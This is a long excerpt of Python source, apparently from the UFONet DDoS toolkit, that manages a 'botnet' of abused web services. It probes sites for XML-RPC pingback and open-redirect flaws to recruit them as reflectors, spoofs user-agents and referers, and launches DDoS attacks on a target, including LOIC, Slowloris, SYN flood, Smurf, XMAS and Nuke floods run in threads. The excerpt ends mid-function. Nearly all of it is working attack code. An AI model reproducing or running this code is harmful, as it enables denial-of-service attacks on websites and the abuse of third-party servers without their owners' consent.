  4032. with open(self.zombies_file, "a") as zombie_list:
  4033. for zombie in zombies_ready:
  4034. if zombie not in zombies_on_file: # parse possible repetitions
  4035. zombie_list.write(zombie + os.linesep)
  4036. if options.download or options.download_github:
  4037. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4038. else:
  4039. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  4040. f.close()
  4041. def update_aliens(self, aliens_ready):
  4042. # update aliens on file
  4043. options = self.options
  4044. if options.download or options.download_github: # append only new aliens to list
  4045. f = open(self.aliens_file)
  4046. aliens_on_file = f.read().splitlines()
  4047. with open(self.aliens_file, "a") as alien_list:
  4048. for alien in aliens_ready:
  4049. if alien not in aliens_on_file: # parse possible repetitions
  4050. alien_list.write(alien + os.linesep)
  4051. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4052. f.close()
  4053. def update_droids(self, droids_ready):
  4054. # update droids on file
  4055. options = self.options
  4056. if options.download or options.download_github: # append only new droids to list
  4057. f = open(self.droids_file)
  4058. droids_on_file = f.read().splitlines()
  4059. with open(self.droids_file, "a") as droid_list:
  4060. for droid in droids_ready:
  4061. if droid not in droids_on_file: # parse possible repetitions
  4062. droid_list.write(droid + os.linesep)
  4063. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4064. f.close()
  4065. def update_ucavs(self, ucavs_ready):
  4066. # update ucavs on file
  4067. options = self.options
  4068. if options.download or options.download_github: # append only new ucavs to list
  4069. f = open(self.ucavs_file)
  4070. ucavs_on_file = f.read().splitlines()
  4071. with open(self.ucavs_file, "a") as ucav_list:
  4072. for ucav in ucavs_ready:
  4073. if ucav not in ucavs_on_file: # parse possible repetitions
  4074. ucav_list.write(ucav + os.linesep)
  4075. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4076. f.close()
  4077. def update_rpcs(self, rpcs_ready):
  4078. # update rpcs on file
  4079. options = self.options
  4080. if options.testrpc or options.testall:
  4081. f = open(self.rpcs_file, "w") # re-write list
  4082. for rpc in rpcs_ready: # add only rpc verified zombies
  4083. f.write(rpc + os.linesep)
  4084. f.close()
  4085. if options.download or options.download_github: # append only new rpcs to list
  4086. f = open(self.rpcs_file)
  4087. rpcs_on_file = f.read().splitlines()
  4088. with open(self.rpcs_file, "a") as rpc_list:
  4089. for rpc in rpcs_ready:
  4090. if rpc not in rpcs_on_file: # parse possible repetitions
  4091. rpc_list.write(rpc + os.linesep)
  4092. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4093. f.close()
  4094. def update_dnss(self, dnss_ready):
  4095. # update dns on file
  4096. options = self.options
  4097. if options.download or options.download_github: # append only new dns to list
  4098. f = open(self.dnss_file)
  4099. dnss_on_file = f.read().splitlines()
  4100. with open(self.dnss_file, "a") as dns_list:
  4101. for dns in dnss_ready:
  4102. if dns not in dnss_on_file: # parse possible repetitions
  4103. dns_list.write(dns + os.linesep)
  4104. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4105. f.close()
  4106. def update_ntps(self, ntps_ready):
  4107. # update ntps on file
  4108. options = self.options
  4109. if options.download or options.download_github: # append only new ntps to list
  4110. f = open(self.ntps_file)
  4111. ntps_on_file = f.read().splitlines()
  4112. with open(self.ntps_file, "a") as ntp_list:
  4113. for ntp in ntps_ready:
  4114. if ntp not in ntps_on_file: # parse possible repetitions
  4115. ntp_list.write(ntp + os.linesep)
  4116. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4117. f.close()
  4118. def update_snmps(self, snmps_ready):
  4119. # update snmps on file
  4120. options = self.options
  4121. if options.download or options.download_github: # append only new snmps to list
  4122. f = open(self.snmps_file)
  4123. snmps_on_file = f.read().splitlines()
  4124. with open(self.snmps_file, "a") as snmp_list:
  4125. for snmp in snmps_ready:
  4126. if snmp not in snmps_on_file: # parse possible repetitions
  4127. snmp_list.write(snmp + os.linesep)
  4128. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4129. f.close()
  4130. def search_rpc(self, rpc_host):
  4131. options = self.options
  4132. rpc_vulnerable = False
  4133. rpc_pingback_url = False
  4134. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4135. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4136. try:
  4137. if self.options.testall: # testing_all
  4138. if options.proxy: # set proxy
  4139. self.proxy_transport(options.proxy)
  4140. req = urllib.request.Request(rpc_host, None, headers)
  4141. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4142. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4143. for link in rpc_links:
  4144. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4145. rpc_pingback_url = link[0]
  4146. rpc_vulnerable = True
  4147. break # found it!
  4148. else: # not any XML-RPC discovering methods are working
  4149. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4150. rpc_vulnerable = False
  4151. else:
  4152. if rpc_host.startswith("http://"):
  4153. rpc_host = rpc_host.replace("http://", "")
  4154. if rpc_host.startswith("https://"):
  4155. rpc_host = rpc_host.replace("https://", "")
  4156. rpc_host = urlparse(rpc_host)
  4157. rpc_path = rpc_host.path.replace("\r", "")
  4158. self.head = True # send HTTP HEAD request searching for: X-Pingback
  4159. reply = self.connect_zombie(rpc_path)
  4160. self.head = False
  4161. if "X-Pingback" in reply: # discovering pingback-enabled resources
  4162. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  4163. rpc_pingback_url = m.group(1) # extract rpc server url
  4164. rpc_vulnerable = True
  4165. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  4166. if options.proxy: # set proxy
  4167. self.proxy_transport(options.proxy)
  4168. req_rpc = urllib.request.Request(rpc_host, None, headers)
  4169. req_rpc.get_method = lambda : 'GET'
  4170. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  4171. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4172. for link in rpc_links:
  4173. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4174. rpc_pingback_url = link[0]
  4175. rpc_vulnerable = True
  4176. break # found it!
  4177. else: # not any XML-RPC discovering methods are working
  4178. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4179. rpc_vulnerable = False
  4180. except: # something wrong discovering XML-RPC Pingback
  4181. pass
  4182. return rpc_vulnerable, rpc_pingback_url
  4183. def testing_offline(self):
  4184. # check for zombies offline
  4185. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  4186. print('='*35)
  4187. zombies_online = 0
  4188. zombies_offline = 0
  4189. zombies = self.extract_zombies()
  4190. rpcs = self.extract_rpcs()
  4191. aliens = self.extract_aliens()
  4192. droids = self.extract_droids()
  4193. ucavs = self.extract_ucavs()
  4194. try:
  4195. botnet = zombies + rpcs + aliens + droids + ucavs
  4196. except:
  4197. return
  4198. discarded = [] # for discarded zombies
  4199. if not botnet:
  4200. return
  4201. self.head = True
  4202. for zombie in botnet:
  4203. zombie = str(zombie)
  4204. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  4205. zombie_type = 'Zombie'
  4206. elif zombie in rpcs:
  4207. zombie_type = 'XML-RPC'
  4208. elif zombie in aliens:
  4209. zombie_type = 'Alien'
  4210. elif zombie in droids:
  4211. zombie_type = 'Droid'
  4212. elif zombie in ucavs:
  4213. zombie_type = 'UCAV'
  4214. t = urlparse(zombie)
  4215. name_zombie = t.netloc
  4216. if name_zombie == "":
  4217. name_zombie = zombie
  4218. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  4219. sep = ';$POST;'
  4220. zombie = zombie.split(sep, 1)[0]
  4221. try:
  4222. reply = str(self.connect_zombie(zombie))
  4223. except:
  4224. reply = None
  4225. if reply:
  4226. if reply == "200" or reply == "301" or reply == "302":
  4227. status = "ONLINE! -> [OK!]"
  4228. else:
  4229. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  4230. zombies_online = zombies_online + 1
  4231. else:
  4232. status = "NOT Working!"
  4233. zombies_offline = zombies_offline + 1
  4234. print("\nName:", name_zombie)
  4235. print("Type: [", zombie_type, "]")
  4236. print("Vector:", zombie)
  4237. print("HTTP Code: [", reply, "]")
  4238. print("STATUS:", status)
  4239. print('-'*21)
  4240. if status == "NOT Working!": # add to discarded zombies
  4241. if zombie not in discarded:
  4242. discarded.append(zombie)
  4243. print("\n" + '='*52)
  4244. print("\n+ Total Botnet:", len(botnet))
  4245. print("\n" + '-'*25 + "\n")
  4246. print(" - ONLINE:", zombies_online)
  4247. print(" - OFFLINE:", zombies_offline, "\n")
  4248. print('='*52 + '\n')
  4249. self.head = False
  4250. if zombies_offline > 0:
  4251. if not self.options.forceyes:
  4252. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  4253. print('-'*25 + "\n")
  4254. else:
  4255. test_reply = "Y"
  4256. if test_reply == "n" or test_reply == "N":
  4257. print("[AI] "+self.exit_msg+"\n")
  4258. return
  4259. else:
  4260. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4261. print('='*52)
  4262. print("\n - DISCARDED:", disc_zombies)
  4263. new_botnet = int(len(botnet) - disc_zombies)
  4264. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  4265. print('='*52 + '\n')
  4266. else:
  4267. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  4268. def send_extra_zombies(self):
  4269. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  4270. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  4271. if self.options.verbose:
  4272. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  4273. aliens = [self.extract_aliens()] # extract aliens from file to a list
  4274. for a in aliens:
  4275. if a is None:
  4276. self.options.disablealiens = True
  4277. self.total_aliens = 0 # not any alien invoked
  4278. else:
  4279. for s in a: # extract number of aliens
  4280. self.total_aliens = self.total_aliens + 1
  4281. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  4282. al.start()
  4283. else:
  4284. self.options.disablealiens = True
  4285. self.total_aliens = 0 # not any alien invoked
  4286. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  4287. if self.options.verbose:
  4288. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  4289. droids = [self.extract_droids()] # extract droids from file to a list
  4290. for d in droids:
  4291. if d is None:
  4292. self.options.disabledroids = True
  4293. self.total_droids = 0 # not any droid invoked
  4294. else:
  4295. for s in d: # extract number of droids
  4296. self.total_droids = self.total_droids + 1
  4297. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  4298. dr.start()
  4299. else:
  4300. self.options.disabledroids = True
  4301. self.total_droids = 0 # not any droid invoked
  4302. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  4303. if self.options.verbose:
  4304. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  4305. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  4306. for r in rpcs:
  4307. if r is None:
  4308. self.options.disablerpcs = True
  4309. self.total_rpcs = 0 # not any rpc invoked
  4310. else:
  4311. for s in r: # extract number of rpcs
  4312. self.total_rpcs = self.total_rpcs + 1
  4313. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  4314. rp.start()
  4315. else:
  4316. self.options.disablerpcs = True
  4317. self.total_rpcs = 0 # not any rpcs invoked
  4318. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  4319. if self.options.verbose:
  4320. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  4321. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  4322. for u in ucavs:
  4323. if u is None:
  4324. self.options.disableucavs = True
  4325. self.total_ucavs = 0 # not any ucav invoked
  4326. else:
  4327. for s in u: # extract number of ucavs
  4328. self.total_ucavs = self.total_ucavs + 1
  4329. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  4330. uc.start()
  4331. else:
  4332. self.options.disableucavs = True
  4333. self.total_ucavs = 0 # not any ucavs invoked
  4334. def abandoning_zombies(self):
  4335. if self.options.expire: # set timing for purge
  4336. try:
  4337. timing = int(self.options.expire)
  4338. except:
  4339. timing = self.expire_timing # default timing for purge
  4340. else:
  4341. timing = self.expire_timing # default timing for purge
  4342. if timing < 1:
  4343. timing = self.expire_timing # default timing for purge
  4344. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4345. zombies_lock = 0
  4346. if self.options.verbose:
  4347. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  4348. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  4349. zombies_lock = zombies_lock + 1
  4350. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4351. if self.options.verbose:
  4352. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4353. break
  4354. else:
  4355. time.sleep(1)
  4356. def discard_zombies(self, discarded):
  4357. disc_zombies = 0
  4358. if self.options.testoffline:
  4359. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  4360. else:
  4361. zombies_list = [self.zombies_file]
  4362. if not self.options.disablealiens: # add aliens
  4363. zombies_list.append(self.aliens_file)
  4364. if not self.options.disabledroids: # add droids
  4365. zombies_list.append(self.droids_file)
  4366. if not self.options.disablerpcs: # add rpcs
  4367. zombies_list.append(self.rpcs_file)
  4368. if not self.options.disableucavs: # add ucavs
  4369. zombies_list.append(self.ucavs_file)
  4370. for l in zombies_list:
  4371. f = open(l, "r+")
  4372. d = f.readlines()
  4373. f.close()
  4374. f = open(l, "w")
  4375. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  4376. f.close()
  4377. return disc_zombies
  4378. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  4379. m = []
  4380. for zombie in d:
  4381. if zombie not in discarded == True:
  4382. m.append(zombie) # save it
  4383. else:
  4384. disc_zombies = disc_zombies + 1
  4385. if not m:
  4386. f.write("")
  4387. else:
  4388. for z in m:
  4389. f.write(z+os.linesep)
  4390. return disc_zombies
  4391. def parse_url_encoding(self, target):
  4392. t = urlparse(target)
  4393. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4394. path = urllib.parse.quote(t.path.encode('utf-8'))
  4395. query = urllib.parse.quote(t.query.encode('utf-8'))
  4396. if query:
  4397. if path.endswith(""):
  4398. path.replace("", "/")
  4399. query = urllib.parse.quote(t.query.encode('utf-8'))
  4400. target = t.scheme+"://"+host + path + "?" + query
  4401. else:
  4402. target = t.scheme+"://"+host + path
  4403. return target
  4404. def testing_rpcs(self, rpcs):
  4405. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4406. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4407. options = self.options
  4408. if self.options.testall: #testing_all
  4409. print('='*51)
  4410. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4411. print('='*51)
  4412. num_active_rpcs = 0
  4413. num_failed_rpcs = 0
  4414. rpcs_ready = []
  4415. print("Trying:", len(rpcs))
  4416. print('-'*21)
  4417. for rpc in rpcs:
  4418. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4419. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4420. if rpc.startswith("http://") or rpc.startswith("https://"):
  4421. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4422. rpc_host = rpc.replace("/xmlrpc.php", "")
  4423. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4424. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4425. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4426. try:
  4427. if options.proxy: # set proxy
  4428. self.proxy_transport(options.proxy)
  4429. try:
  4430. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4431. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4432. except:
  4433. if DEBUG == True:
  4434. traceback.print_exc()
  4435. if self.options.verbose:
  4436. print("[Info] [X-RPCs] Reply:", target_reply)
  4437. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4438. print("[Info] [AI] -> [VULNERABLE!]")
  4439. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4440. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4441. else:
  4442. print("[Info] [AI] -> [NOT vulnerable...]")
  4443. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4444. except:
  4445. print("[Info] [AI] -> [NOT vulnerable...]")
  4446. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4447. else:
  4448. print("[Info] [AI] -> [NOT vulnerable...]")
  4449. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4450. print('-'*21)
  4451. print('='*18)
  4452. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4453. print('='*18)
  4454. if self.options.testall: # testing_all
  4455. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4456. else:
  4457. # update 'rpcs' list
  4458. if num_active_rpcs == 0:
  4459. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4460. return
  4461. else:
  4462. if not self.options.forceyes:
  4463. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4464. print('-'*25)
  4465. else:
  4466. update_reply = "Y"
  4467. if update_reply == "n" or update_reply == "N":
  4468. print("[AI] "+self.exit_msg+"\n")
  4469. return
  4470. else:
  4471. self.update_rpcs(rpcs_ready)
  4472. if not self.options.upload:
  4473. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4474. def testing(self, zombies):
  4475. # test Open Redirect exploiting and show statistics
  4476. # HTTP HEAD check
  4477. army = 0
  4478. print ("Are 'they' alive? :-) (HEAD Check):")
  4479. print('='*35)
  4480. num_active_zombies = 0
  4481. num_failed_zombies = 0
  4482. active_zombies = []
  4483. print("Trying:", len(zombies))
  4484. print('-'*21)
  4485. for zombie in zombies:
  4486. zombie = str(zombie)
  4487. if zombie.startswith("http://") or zombie.startswith("https://"):
  4488. # send HEAD connection
  4489. self.head = True
  4490. try:
  4491. self.connect_zombies(zombie)
  4492. except:
  4493. pass
  4494. while self.herd.no_more_zombies() == False:
  4495. time.sleep(1)
  4496. for zombie in self.herd.done:
  4497. zombie = str(zombie)
  4498. t = urlparse(zombie)
  4499. if self.herd.get_result(zombie):
  4500. code_reply = self.herd.get_result(zombie)
  4501. self.head = False
  4502. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4503. name_zombie = t.netloc
  4504. if name_zombie == "":
  4505. name_zombie = zombie
  4506. print("Zombie:", name_zombie)
  4507. print("Status: OK ["+ code_reply + "]")
  4508. num_active_zombies = num_active_zombies + 1
  4509. active_zombies.append(zombie)
  4510. elif code_reply == "401":
  4511. print("Zombie:", t.netloc)
  4512. print("Status: Unauthorized ["+ code_reply + "]")
  4513. num_failed_zombies = num_failed_zombies + 1
  4514. elif code_reply == "403":
  4515. print("Zombie:", t.netloc)
  4516. print("Status: Error Forbidden ["+ code_reply + "]")
  4517. num_failed_zombies = num_failed_zombies + 1
  4518. elif code_reply == "404":
  4519. print("Zombie:", t.netloc)
  4520. print("Status: Not Found ["+ code_reply + "]")
  4521. num_failed_zombies = num_failed_zombies + 1
  4522. elif code_reply == "500":
  4523. print("Zombie:", t.netloc)
  4524. print("Status: Internal Server Error ["+ code_reply + "]")
  4525. num_failed_zombies = num_failed_zombies + 1
  4526. else:
  4527. print("Zombie:", t.netloc, "\nVector:", zombie)
  4528. print("Status: Not Allowed ["+ code_reply + "]")
  4529. num_failed_zombies = num_failed_zombies + 1
  4530. else:
  4531. if self.options.verbose:
  4532. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4533. print("Zombie:", zombie)
  4534. print("Status: Malformed!")
  4535. num_failed_zombies = num_failed_zombies + 1
  4536. print('-'*10)
  4537. self.herd.reset()
  4538. print('='*18)
  4539. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4540. print('='*18 + "\n")
  4541. print('='*22)
  4542. if num_active_zombies > 0:
  4543. # check url parameter vectors
  4544. print ("Checking for payloads:")
  4545. print('='*22)
  4546. print("Trying:", num_active_zombies)
  4547. print('-'*21)
  4548. zombies_ready = []
  4549. num_waiting_zombies = 0
  4550. if num_active_zombies == 0:
  4551. num_disconnected_zombies = num_failed_zombies
  4552. else:
  4553. num_disconnected_zombies = 0
  4554. for zombie in active_zombies:
  4555. zombie = str(zombie)
  4556. t = urlparse(zombie)
  4557. name_zombie = t.netloc
  4558. if name_zombie == "":
  4559. name_zombie = zombie
  4560. self.payload = True
  4561. try:
  4562. self.connect_zombies(zombie)
  4563. except:
  4564. pass
  4565. self.payload = False
  4566. while self.herd.no_more_zombies() == False:
  4567. time.sleep(1)
  4568. for zombie in self.herd.done:
  4569. zombie = str(zombie)
  4570. t = urlparse(zombie)
  4571. name_zombie = t.netloc
  4572. if name_zombie == "":
  4573. name_zombie = zombie
  4574. payload_zombie = zombie
  4575. payload_reply = ""
  4576. print("Vector:", payload_zombie)
  4577. self.payload = True
  4578. if self.herd.get_result(zombie):
  4579. payload_reply = self.herd.get_result(zombie)
  4580. self.payload = False
  4581. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4582. num_waiting_zombies = num_waiting_zombies + 1
  4583. print("Status:", "Waiting for orders... ;-)")
  4584. zombies_ready.append(zombie)
  4585. else:
  4586. num_disconnected_zombies = num_disconnected_zombies + 1
  4587. print("Status:", "Not ready...")
  4588. army = army + 1
  4589. print('-'*10)
  4590. self.herd.reset()
  4591. print('='*18)
  4592. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4593. print('='*18 + "\n")
  4594. # list of [Zombies] ready to attack
  4595. num_active_zombie = 0
  4596. for z in zombies_ready:
  4597. t = urlparse(z)
  4598. name_zombie = t.netloc
  4599. if name_zombie == "":
  4600. name_zombie = z
  4601. num_active_zombie = num_active_zombie + 1
  4602. if self.options.verbose:
  4603. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4604. if self.options.testall: # testing_all
  4605. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4606. else:
  4607. print('-'*25 + "\n")
  4608. print('='*24)
  4609. print("Working [Zombies]:", num_active_zombie)
  4610. print('='*24)
  4611. if not self.options.forceyes:
  4612. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4613. print('-'*25)
  4614. else:
  4615. update_reply = "Y"
  4616. if update_reply == "n" or update_reply == "N":
  4617. print("[AI] "+self.exit_msg+"\n")
  4618. return
  4619. else:
  4620. self.update_zombies(zombies_ready)
  4621. if not self.options.upload:
  4622. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4623. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4624. else:
  4625. print('-'*25 + "\n")
  4626. print('='*24)
  4627. print("Working [Zombies]:", num_active_zombies)
  4628. print('='*24)
  4629. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4630. def testing_all(self):
  4631. # test whole botnet
  4632. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4633. print('='*35)
  4634. zombies = self.extract_zombies()
  4635. rpcs = self.extract_rpcs()
  4636. aliens = self.extract_aliens()
  4637. droids = self.extract_droids()
  4638. ucavs = self.extract_ucavs()
  4639. try:
  4640. botnet = zombies + rpcs + aliens + droids + ucavs
  4641. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4642. except:
  4643. return
  4644. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4645. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4646. print("\n" + '='*52)
  4647. print("\n+ Total Botnet:", len(botnet))
  4648. print("\n" + '-'*25)
  4649. print("\n+ Total Tested:", len(tested_zombies))
  4650. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4651. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4652. print('='*52 + '\n')
  4653. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4654. if not self.options.forceyes:
  4655. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4656. print('-'*25)
  4657. else:
  4658. update_reply = "Y"
  4659. if update_reply == "n" or update_reply == "N":
  4660. print("[AI] "+self.exit_msg+"\n")
  4661. return
  4662. else:
  4663. if num_disconnected_zombies > 0:
  4664. self.update_zombies(zombies_ready)
  4665. if num_failed_rpcs > 0:
  4666. self.update_rpcs(rpcs_ready)
  4667. if not self.options.upload:
  4668. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4669. else:
  4670. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4671. def attacking(self, zombies, target):
  4672. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4673. if self.options.forcessl:
  4674. if target.startswith("http://"):
  4675. target = target.replace("http://", "https://") # force SSL/TLS
  4676. if target.startswith("http://") or target.startswith("https://"):
  4677. print("Attacking:", target)
  4678. print('='*55, "\n")
  4679. # send Open Redirect injection (multiple zombies > one target url)
  4680. reply = self.injection(target, zombies)
  4681. else:
  4682. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4683. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  4684. # perform some other extra attacks (such as DoS techniques)
  4685. time.sleep(2) # aiming (multi-threading flow time compensation)
  4686. if loic:
  4687. try:
  4688. self.options.loic = int(loic)
  4689. except:
  4690. self.options.loic = 100 # default LOIC requests
  4691. if self.options.loic < 1:
  4692. self.options.loic = 100
  4693. self.instance = LOIC() # instance main class for LOIC operations
  4694. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4695. self.t1.daemon = True # extra weapons are threaded as daemons
  4696. self.t1.start()
  4697. self.update_loic_stats() # add new LOIC attack to mothership stats
  4698. if loris:
  4699. try:
  4700. self.options.loris = int(loris)
  4701. except:
  4702. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4703. if self.options.loris < 1:
  4704. self.options.loris = 101
  4705. self.instance = LORIS() # instance main class for LORIS operations
  4706. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4707. self.t2.daemon = True
  4708. self.t2.start()
  4709. self.update_loris_stats() # add new LORIS attack to mothership stats
  4710. if ufosyn:
  4711. try:
  4712. self.options.ufosyn = int(ufosyn)
  4713. except:
  4714. self.options.ufosyn = 100 # default UFOSYN requests
  4715. if self.options.ufosyn < 1:
  4716. self.options.ufosyn = 100
  4717. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4718. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4719. self.t3.daemon = True
  4720. self.t3.start()
  4721. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4722. if spray:
  4723. try:
  4724. self.options.spray = int(spray)
  4725. except:
  4726. self.options.spray = 100 # default SPRAY requests
  4727. if self.options.spray < 1:
  4728. self.options.spray = 100
  4729. self.instance = SPRAY() # instance main class for SPRAY operations
  4730. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4731. self.t4.daemon = True
  4732. self.t4.start()
  4733. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4734. if smurf:
  4735. try:
  4736. self.options.smurf = int(smurf)
  4737. except:
  4738. self.options.smurf = 101 # default SMURF requests
  4739. if self.options.smurf < 1:
  4740. self.options.smurf = 101
  4741. self.instance = SMURF() # instance main class for SMURF operations
  4742. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4743. self.t5.daemon = True
  4744. self.t5.start()
  4745. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4746. if xmas:
  4747. try:
  4748. self.options.xmas = int(xmas)
  4749. except:
  4750. self.options.xmas = 101 # default XMAS requests
  4751. if self.options.xmas < 1:
  4752. self.options.xmas = 101
  4753. self.instance = XMAS() # instance main class for XMAS operations
  4754. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4755. self.t6.daemon = True
  4756. self.t6.start()
  4757. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4758. if nuke:
  4759. if sys.platform == "linux" or sys.platform == "linux2":
  4760. try:
  4761. self.options.nuke = int(nuke)
  4762. except:
  4763. self.options.nuke = 10000 # default NUKE requests
